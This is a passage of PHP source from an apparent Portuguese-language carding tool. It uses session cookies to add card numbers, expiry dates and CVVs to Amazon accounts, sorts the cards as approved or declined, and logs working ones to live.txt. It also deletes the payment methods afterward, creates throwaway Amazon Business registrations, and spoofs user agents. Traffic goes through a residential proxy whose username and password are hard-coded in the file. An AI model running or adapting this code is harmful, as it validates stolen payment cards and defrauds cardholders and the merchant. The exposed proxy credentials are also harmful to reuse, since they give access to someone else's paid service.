'downlink: 10',
'ect: 4g',
'sec-ch-device-memory: 8',
'dpr: 1.25',
'rtt: 50',
'sec-ch-ua-platform-version: "10.0.0"',
'Origin: https://'.$linkSelecionado.'.mx',
'Sec-Fetch-Site: same-origin',
'Sec-Fetch-Mode: cors',
'Sec-Fetch-Dest: empty',
'Accept-Encoding: gzip, deflate, br, zstd',
'Accept-Language: pt-BR,pt;q=0.9',
'Cookie: '.$cookie9.'',

));

   $Fim = curl_exec($ch);
   $status_http = preg_match('/^HTTP\/[\d.]+ (\d{3})/m', $Fim, $m) ? $m[1] : null;
   
   
   
   
if (strpos($Fim, '/hp/wlp/pipeline/actions') !== false) {
   echo"<br><span class='text-success'>[Aprovada] ➜ </span>
    <span class='text-info'>$cc|$mes|$ano|$cvv ➜ </span>
    <span class='text-warning'>➜ $bin_result </span>
    <span class='text-success'>[R: Cartao aprovado] ➜ </span>
    <span class='text-info'>@nexus center (" . (time() - $time) . "s)</span>";

$file = fopen($dir . "live.txt", "a");
    fwrite($file, "$cc|$mes|$ano|$cvv\n");
    fclose($file);
	
	$file = fopen($dir . "die.txt.txt", "a");
    fwrite($file, "$cc|$mes|$ano|$cvv\n");
    fclose($file);
}  

elseif (strpos($Fim, 'InvalidInput')) {
    echo "<br><span class='text-warning'>[Reprovada] ➜ </span>
    <span class='text-info'>$cc|$mes|$ano|$cvv ➜ </span>
    <span class='text-warning'>$info ➜ </span>
    <span class='text-danger'>[R: ops,ocorreu um erro ] ➜ </span>
    <span class='text-info'>@nexus center (" . (time() - $time) . "s) </span>";
unset(
    $_SESSION['session'],
    $_SESSION['token'],
    $_SESSION['contai']
);
$deletou = $delet();
}

elseif (strpos($Fim, 'HARDVET_VERIFICATION_FAILED')) {
    echo "<br><span class='text-warning'>[Reprovada] ➜ </span>
    <span class='text-info'>$cc|$mes|$ano|$cvv ➜ </span>
    <span class='text-warning'>➜ $bin_result</span>
    <span class='text-danger'>[R: cartão recusado ] ➜ </span>
    <span class='text-info'>@nexus center (" . (time() - $time) . "s) </span>";

$file = fopen($dir . "die.txt.txt", "a");
    fwrite($file, "$cc|$mes|$ano|$cvv\n");
    fclose($file);

} 

else {
    echo"<brReprovada » <font color='red'> $cc|$mes|$ano|$cvv todos teus chk caiu,chame o vendedor » @nexus center </font></span></p>";
    unset(
    $_SESSION['session'],
    $_SESSION['token'],
    $_SESSION['contai']
	
);
$deletou = $delet();
}

    setHeaders(array(
'Cookie: '.$cookie6.'',
'Content-Type: application/x-www-form-urlencoded',
'Host: www.amazon.com',
"User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1"
));


         $result = getRequest('https://www.amazon.com/cpe/yourpayments/wallet');
   $serial1 = getstr($result, '"4-','"');
 $paymentidons = getstr($result, '"paymentMethodId":"','"');
  $costomerid = getstr($result, '"customerId":"','"');

   $quotquot = getstr($result, 'instrumentId":"','"');
   $widgetInstanceId = getstr($result, 'widgetInstanceId":"','"');

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/payments-portal/data/widgets2/v1/customer/'.$costomerid.'/continueWidget');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "ppw-widgetEvent%3AStartDeleteEvent%3A%7B%22iid%22%3A%22".$quotquot."%22%2C%22renderPopover%22%3A%22true%22%7D=&ppw-jsEnabled=true&ppw-widgetState=4-".$serial1."&ie=UTF-8");
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'Cookie: '.$cookie6.'';
$headers[] = 'Device-Memory: 8';
$headers[] = 'X-Requested-With: XMLHttpRequest';
$headers[] = 'Accept: application/json, text/javascript, */*; q=0.01';
$headers[] = 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8';
$headers[] = 'Downlink: 10';
$headers[] = 'Widget-Ajax-Attempt-Count: 0';
"User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1";
$headers[] = 'Rtt: 200';
$headers[] = 'Origin: https://www.amazon.it';
$headers[] = 'Referer: https://www.amazon.it/cpe/yourpayments/wallet';
$headers[] = 'Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7';
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

$result = curl_exec($ch);
$diferentenonce = getstr($result, 'hidden\" name=\"ppw-widgetState\" value=\"','\"');
$ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/payments-portal/data/widgets2/v1/customer/'.$costomerid.'/continueWidget');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, "ppw-widgetEvent%3ADeleteInstrumentEvent=&ppw-jsEnabled=true&ppw-widgetState=".$diferentenonce."&ie=UTF-8");
    curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

    $headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'Cookie: '.$cookie6.'';
$headers[] = 'Device-Memory: 8';
$headers[] = 'X-Requested-With: XMLHttpRequest';
$headers[] = 'Accept: application/json, text/javascript, */*; q=0.01';
$headers[] = 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8';
$headers[] = 'Downlink: 10';
$headers[] = 'Widget-Ajax-Attempt-Count: 0';
"User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1";
$headers[] = 'Rtt: 200';
$headers[] = 'Origin: https://www.amazon.it';
$headers[] = 'Referer: https://www.amazon.it/cpe/yourpayments/wallet';
$headers[] = 'Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7';


    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

     $r = curl_exec($ch);
	 
	   if (strpos($r, 'Your payment method has been removed successfully') != true) {
		   
		   
		      setHeaders(array(
'Cookie: '.$cookie6.'',
'Content-Type: application/x-www-form-urlencoded',
'Host: www.amazon.com',
"User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1"
));


         $result = getRequest('https://www.amazon.com/cpe/yourpayments/wallet');
   $serial1 = getstr($result, '"4-','"');
 $paymentidons = getstr($result, '"paymentMethodId":"','"');
  $costomerid = getstr($result, '"customerId":"','"');

   $quotquot = getstr($result, 'instrumentId":"','"');
   $widgetInstanceId = getstr($result, 'widgetInstanceId":"','"');

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/payments-portal/data/widgets2/v1/customer/'.$costomerid.'/continueWidget');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "ppw-widgetEvent%3AStartDeleteEvent%3A%7B%22iid%22%3A%22".$quotquot."%22%2C%22renderPopover%22%3A%22true%22%7D=&ppw-jsEnabled=true&ppw-widgetState=4-".$serial1."&ie=UTF-8");
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'Cookie: '.$cookie6.'';
$headers[] = 'Device-Memory: 8';
$headers[] = 'X-Requested-With: XMLHttpRequest';
$headers[] = 'Accept: application/json, text/javascript, */*; q=0.01';
$headers[] = 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8';
$headers[] = 'Downlink: 10';
$headers[] = 'Widget-Ajax-Attempt-Count: 0';
"User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1";
$headers[] = 'Rtt: 200';
$headers[] = 'Origin: https://www.amazon.it';
$headers[] = 'Referer: https://www.amazon.it/cpe/yourpayments/wallet';
$headers[] = 'Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7';
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

$result = curl_exec($ch);
$diferentenonce = getstr($result, 'hidden\" name=\"ppw-widgetState\" value=\"','\"');
$ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/payments-portal/data/widgets2/v1/customer/'.$costomerid.'/continueWidget');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, "ppw-widgetEvent%3ADeleteInstrumentEvent=&ppw-jsEnabled=true&ppw-widgetState=".$diferentenonce."&ie=UTF-8");
    curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

    $headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'Cookie: '.$cookie6.'';
$headers[] = 'Device-Memory: 8';
$headers[] = 'X-Requested-With: XMLHttpRequest';
$headers[] = 'Accept: application/json, text/javascript, */*; q=0.01';
$headers[] = 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8';
$headers[] = 'Downlink: 10';
$headers[] = 'Widget-Ajax-Attempt-Count: 0';
"User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1";
$headers[] = 'Rtt: 200';
$headers[] = 'Origin: https://www.amazon.it';
$headers[] = 'Referer: https://www.amazon.it/cpe/yourpayments/wallet';
$headers[] = 'Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7';


    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

     $r = curl_exec($ch);
		   
	   }

	 exit();
   
 
}







if ($pais === 'debitousd') {





$variavelpaises = 'www.amazon.com, www.amazon.com';


$paisesArray = array_map('trim', explode(',', $variavelpaises));

 $linkSelecionado = $paisesArray[array_rand($paisesArray)];

 $sigla = strtoupper(substr(strrchr($linkSelecionado, '.'), 1));

 "Link selecionado: $linkSelecionado\n";
 "Sigla extraída: $sigla\n";



$cookie1 = convertCookie($cookieUS, 'COM');
$cookie3 = convertCookie($cookieUS, ''.$sigla.'');
$cookie4 = convertCookie($cookieUS, 'COM');
$cookie6 = convertCookie($cookieUS, 'COM');

 $email = ($letrasAleatorias);

$session = $_SESSION['session'];
$contai = $_SESSION['contai'];
$urll10 = $_SESSION['urll10'];
$requestid = $_SESSION['requestid'];
$token00310 = $_SESSION['token00310'];
$offtoken10 = $_SESSION['offtoken10'];



////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////

         if(noExistSession()){

   $ch = curl_init();
curl_setopt($ch, CURLOPT_ENCODING, "gzip");
curl_setopt($ch, CURLOPT_URL, 'https://'.$linkSelecionado.'/gp/prime/pipeline/membersignup?');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Host: '.$linkSelecionado.'',
'Widget-Ajax-Attempt-Count: 0',
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'X-Requested-With: XMLHttpRequest',
'Sec-Fetch-Site: same-origin',
'Accept-Language: pt-BR,pt;q=0.9',
'Accept-Encoding: gzip, deflate, br',
'Sec-Fetch-Mode: cors',
'Origin: https://'.$linkSelecionado.'',
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36',
'Referer: https://www.amazon.com/cpe/yourpayments/wallet?_encoding=UTF8&ref_=ya_mb_mpo',
'Connection: keep-alive',
'Sec-Fetch-Dest: empty',
'cookie: '.$cookie6.'',

));
curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd() . '/55555533xxxx.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd() . '/ddfrrrdeww23444.txt');
//curl_setopt($ch, CURLOPT_POSTFIELDS, 'ppw-widgetEvent%3AAddCreditCardEvent=&ppw-jsEnabled=true&ppw-widgetState='.$ms.'&ie=UTF-8&ppw-accountHolderName=luciano+franco&addCreditCardNumber='.$cc.'&ppw-expirationDate_month='.$mes.'&ppw-expirationDate_year='.$ano.'');
      $add = curl_exec($ch);
 

 $add = html_entity_decode(html_entity_decode($add, ENT_QUOTES | ENT_HTML5, 'UTF-8'), ENT_QUOTES | ENT_HTML5, 'UTF-8');

    $amzn1 = getstr($add, 'paymentMethodAccountOwner&quot;:&quot;&quot;,&quot;paymentMethodId&quot;:&quot;','&');
     $amzn2 = getstr($add, 'paymentMethodId":"','"');
    $session = getstr($add, 'session-id" value="','"');
    $token = getstr($add, 'token":"','"');
   $contai = getstr($add, 'data-csa-c-container-request-id="','"');



     $offtoken10 = getStr($add, 'offerToken" value="','"');
      $sessionid10 = getStr($add, 'name="session-id" value="','"');
      $token00310 = getStr($add, 'name="ppw-widgetState" value="', '"');
            $urll10 = getStr_i($add, 'customerId":"','"');




   $payid = getstr($add, 'paymentMethodId":"','"');
   

// paymentMethodAccountOwner&quot;:&quot;&quot;,&quot;paymentMethodId&quot;:&quot;
// paymentMethodId&quot;:&quot;
//MGhfUFVfQ1VTX2YwYWZlOTIzLWMwMzYtNDNlMi1hNzFlLTI2ZDBkM2Q2OWViYQ
//MGhfUFVfQ1VTXzUyNzk5NDNkLWNjMDctNDgwNS1hOGE0LTVhOTc2NzgwOTY2Zg
//5360 amzn1.pm.wallet.MGhfUFVfQ1VTX2YwYWZlOTIzLWMwMzYtNDNlMi1hNzFlLTI2ZDBkM2Q2OWViYQ.QTIwNkRQREFYNU1SUU8
//6582 amzn1.pm.wallet.MGhfUFVfQ1VTXzUyNzk5NDNkLWNjMDctNDgwNS1hOGE0LTVhOTc2NzgwOTY2Zg.QTIwNkRQREFYNU1SUU8

  $SavePaymentPreferenceEvent;
   $sessionds = getstr($add, 'Subs:Prime","session":"','"');
   $noovotoken = getstr($add, 'instrumentIds&quot;:[&quot;','&');
   $redirecturl = getstr($add, 'input type="hidden" name="redirectURL" value="','"/');
    $ohtoken1 = getstr($add, 'selectedInstrumentIds":["','"');
        $ohtoken2 = getstr($add, 'clientId":"Subs:Prime","serializedState":"','"');
	
	 		        $_SESSION['session'] = $session;
				     $_SESSION['contai'] = $contai;
      			     $_SESSION['offtoken10'] = $offtoken10;
					 $_SESSION['urll10'] = $urll10;
					 $_SESSION['token00310'] = $token00310;

$required_keys = ['session', 'contai', 'urll10', 'token00310','offtoken10'];


foreach ($required_keys as $key) {
    if (empty($_SESSION[$key])) {
       
	   $ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/ab/manage/deregisterYourBusiness/deregister?ref_=b2b_bam_drb_l_a');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'Cookie: '.$cookie6.'';

curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

 $result = curl_exec($ch);
      $result = htmlspecialchars_decode($result);
       $B2B = getStr($result, "B2B_MANAGE_TOKEN' value='", "'");


	   	   $ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/ab/manage/deregisterYourBusiness/api/deregister?ref_=b2b_bam_drb_ver_y');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'anti-csrftoken-a2z: ' . $B2B;
$headers[] = 'Content-Type: application/json';
$headers[] = 'Accept: */*';
$headers[] = 'Origin: https://www.amazon.com';
$headers[] = 'Cookie: ' . $cookie6;

curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_POSTFIELDS, '{"reason":"OTHER"}');
 $result = curl_exec($ch);

    unset(
    $_SESSION['session'],
    $_SESSION['token'],
    $_SESSION['contai']
);
$deletou = $delet();

 	 exit();
		
		
    }
}
		 

 
 $username = "smart-puvwnqjfhqrr_area-BR";
$password = "lmGwHXZJRGEymTXU";	
$proxy_address = "proxy.smartproxy.net";
$proxy_port = "3120";



$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/business/register/guest/onboard?ref_=ab_reg_notag_bs_gon_ab_reg_dsk');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');


curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_COOKIE, $cookie6);

 $result = curl_exec($ch);



$ch = curl_init();
curl_setopt($ch, CURLOPT_PROXY, $proxy_address);   
curl_setopt($ch, CURLOPT_PROXYPORT, $proxy_port);
curl_setopt($ch, CURLOPT_PROXYUSERPWD, $username . ":" . $password);
curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/business/register/guest/onboard?ref_=ab_reg_notag_bs_gon_ab_reg_dsk');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');


curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_COOKIE, $cookie6);

 $result = curl_exec($ch);




$ch = curl_init();
curl_setopt($ch, CURLOPT_PROXY, $proxy_address);   
curl_setopt($ch, CURLOPT_PROXYPORT, $proxy_port);
curl_setopt($ch, CURLOPT_PROXYUSERPWD, $username . ":" . $password);
curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/business/register/org/landing');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_ENCODING, "gzip");
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'authority: www.amazon.com',
    'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'accept-language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7',
]);
curl_setopt($ch, CURLOPT_COOKIE, $cookie6);
$texta = curl_exec($ch);

 $token1 = GetStr($texta, "abreg_originatingEmailEncrypted=", "\\");
 $custumerid = GetStr($texta, "abreg_originatingCustomerId=", "\\");
$token22 = GetStr($texta, 'data-csrf-token="' ,'"');
 $tokensignature = GetStr($texta, "abreg_signature=", "\\x26");
  $namme = substr(str_shuffle("ABCDEFGHIJKLMNOPQRSTUVWXYZ"), 0, 7);

 $ch = curl_init();        
 curl_setopt($ch, CURLOPT_PROXY, $proxy_address);   
curl_setopt($ch, CURLOPT_PROXYPORT, $proxy_port);
curl_setopt($ch, CURLOPT_PROXYUSERPWD, $username . ":" . $password);
curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/business/register/api/org/registrations?sif_profile=ab-reg');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_ENCODING, "gzip");
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Host: www.amazon.com',
    "anti-csrftoken-a2z: $token22",
    'content-type: application/x-www-form-urlencoded',
    'accept: application/json, text/plain, */*',
    'origin: https://www.amazon.com',
    "referer: https://www.amazon.com/business/register/org/business-info?abreg_signature=$tokensignature&abreg_entryRefTag=ya_d_atf_us_b2b_reg_v3&abreg_usingPostAuthPortalTheme=true&abreg_vertical=COM&abreg_originatingEmailEncrypted=$token1&abreg_client=biss&abreg_originatingCustomerId=$custumerid&ref_=ab_reg_notag_rn-biss_cb_ab_reg_dsk",
    'accept-language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7',
]);
curl_setopt($ch, CURLOPT_COOKIE, $cookie6);
curl_setopt($ch, CURLOPT_POSTFIELDS, "address1=350%205th%20Ave&address2=29th%20Floor&zip=10118&city=New%20York&state=NY&country=US&voice=%2B12126598653&contactName=$namme%20$namme&businessName=$namme&businessType=OTHER&verificationOverrideStatus=&notifyBySms=false&internal=false&warningBypassed=false&existingAddress=false&publicAdministrationSelfDeclaration=false&businessTin=");
$response = curl_exec($ch);


$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/business/register/org/landing');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_ENCODING, "gzip");
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'authority: www.amazon.com',
    'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'accept-language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7',
]);
curl_setopt($ch, CURLOPT_COOKIE, $cookie6);
$texta = curl_exec($ch);

 $token1 = GetStr($texta, "abreg_originatingEmailEncrypted=", "\\");
 $custumerid = GetStr($texta, "abreg_originatingCustomerId=", "\\");
$token22 = GetStr($texta, 'data-csrf-token="' ,'"');
 $tokensignature = GetStr($texta, "abreg_signature=", "\\x26");
 
 $ch = curl_init();        
curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/business/register/api/org/registrations?sif_profile=ab-reg');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_ENCODING, "gzip");
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Host: www.amazon.com',
    "anti-csrftoken-a2z: $token22",
    'content-type: application/x-www-form-urlencoded',
    'accept: application/json, text/plain, */*',
    'origin: https://www.amazon.com',
    "referer: https://www.amazon.com/business/register/org/business-info?abreg_signature=$tokensignature&abreg_entryRefTag=ya_d_atf_us_b2b_reg_v3&abreg_usingPostAuthPortalTheme=true&abreg_vertical=COM&abreg_originatingEmailEncrypted=$token1&abreg_client=biss&abreg_originatingCustomerId=$custumerid&ref_=ab_reg_notag_rn-biss_cb_ab_reg_dsk",
    'accept-language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7',
]);
curl_setopt($ch, CURLOPT_COOKIE, $cookie6);
curl_setopt($ch, CURLOPT_POSTFIELDS, "address1=350%205th%20Ave&address2=29th%20Floor&zip=10118&city=New%20York&state=NY&country=US&voice=%2B12126598653&contactName=$namme%20$namme&businessName=$namme&businessType=OTHER&verificationOverrideStatus=&notifyBySms=false&internal=false&warningBypassed=false&existingAddress=false&publicAdministrationSelfDeclaration=false&businessTin=");
$response = curl_exec($ch);




$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/nav/ajax/business-desktop-asinFlyout?content=ab-spendsegment-itstore&metricKey=ab-spendsegment-itstoreMetric&ajaxTemplate=business-desktop-asinFlyout&flyoutName=ab-spendsegment-itstore&flyoutId=nav-link-spendsegment-itstore&navDeviceType=desktop&_=1720963395082');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'Cookie: '.$cookie6.'';

curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

$result = curl_exec($ch);
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/ref=ab_reg_notag_gon_gateway_ab_reg_dsk?isMashRequest=false&isAndroidMashRequest=false&isIosMashRequest=false');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'Cookie: '.$cookie6.'';

curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

$result = curl_exec($ch);


$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/cpe/yourpayments/wallet?ref_=b2b_mpo_view_wallet');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'Cookie: '.$cookie6.'';

curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

  $response = curl_exec($ch);


		 }
////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////




    setHeaders(array(
'Cookie: '.$cookie1.'',
'Host: www.amazon.com',
  "User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1",
));

       $add = getRequest('https://www.amazon.com/mn/dcw/myx/settings.html?route=updatePaymentSettings&ref_=kinw_drop_coun&ie=UTF8&client=deeca');
          $csrf = getstr($add, 'csrfToken = "','"');
#req1


    setHeaders(array(
'Cookie: '.$cookie1.'',
'Content-Type: application/x-www-form-urlencoded',
'Host: www.amazon.com',
  "User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1",
));


$post = 'data=%7B%22param%22%3A%7B%22AddPaymentInstr%22%3A%7B%22cc_CardHolderName%22%3A%22'.generateRandomString(10).'+'.generateRandomString(10).'%22%2C%22cc_ExpirationMonth%22%3A%22'.intval($mes).'%22%2C%22cc_ExpirationYear%22%3A%22'.$ano.'%22%7D%7D%7D&csrfToken='.urlencode($csrf).'&addCreditCardNumber='.$cc.'';

        $add = postRequest('https://www.amazon.com/hz/mycd/ajax', $post);
      $cardid_puro = getstr($add, '"paymentInstrumentId":"','"');
#req2


if (empty($cardid_puro)) {
	
	
	    setHeaders(array(
'Cookie: '.$cookie6.'',
'Content-Type: application/x-www-form-urlencoded',
'Host: www.amazon.com',
"User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1"
));


         $result = getRequest('https://www.amazon.com/cpe/yourpayments/wallet');
   $serial1 = getstr($result, '"4-','"');
 $paymentidons = getstr($result, '"paymentMethodId":"','"');
  $costomerid = getstr($result, '"customerId":"','"');

   $quotquot = getstr($result, 'instrumentId":"','"');
   $widgetInstanceId = getstr($result, 'widgetInstanceId":"','"');

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/payments-portal/data/widgets2/v1/customer/'.$costomerid.'/continueWidget');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "ppw-widgetEvent%3AStartDeleteEvent%3A%7B%22iid%22%3A%22".$quotquot."%22%2C%22renderPopover%22%3A%22true%22%7D=&ppw-jsEnabled=true&ppw-widgetState=4-".$serial1."&ie=UTF-8");
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'Cookie: '.$cookie6.'';
$headers[] = 'Device-Memory: 8';
